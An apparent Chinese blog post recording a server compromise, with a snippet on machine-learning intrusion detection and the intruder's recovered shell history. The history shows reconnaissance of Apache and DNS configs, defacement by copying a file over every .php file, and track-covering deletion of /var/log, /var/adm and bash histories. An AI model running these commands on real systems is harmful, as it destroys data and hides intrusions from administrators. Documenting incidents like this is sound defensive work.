被入侵后的记录

关注

原创最新推荐文章于 2026-01-07 19:55:00 发布 783 阅读 AI 写同款· GEO 优化 ›

关于基于机器学习的入侵检测学习记录关于基于机器学习的入侵检测学习记录一、入侵检测的过程 1、数据采集阶段（1）主机日志记录（2）网络流量数据 2、检测分析阶段（1）数据处理（2）算法分析 3、响应处理阶段（1）发出警告（2）应急响应二、基于网络的入侵检测方法 1、模式匹配（一一比对）优点：准确率高缺点：耗时大，不适合用于高速网络时代 2、协议分析（使用相应的数据分析程序来检测数据包）优点：效率高缺点：只能检测到已知的攻击类型，对当今网络中存在未知攻击方式不能有效的进行检测 3、基于机器学习的入侵检测利用庞大的已有数阅读详情

------------------------------------------------------------------
id
find / -name httpd.conf -print | xargs grep ServerName >> /tmp/hosts
cd /etc
ls
cat named.conf
cat named.conf
cat named.conf
cat named.conf
cat named.conf
ls
cd /home
ls
cd shock
ls
cat main.php
ls
cat index.php
find / -name *.php -exec cp /tmp/index.html {} /;
find / -name *.php -exec cp /tmp/index.html {} /;
find / -name *.php -exec cp /tmp/index.html {} /;
w
who
rm -rf /var/adm/*
find / -name .bash_history -exec rm -rf {} /;
rm -rf /root/.bash_history
rm -rf /root/.bash_logout
rm -rf /var/log/*
------------------------------------------------------------------

收录于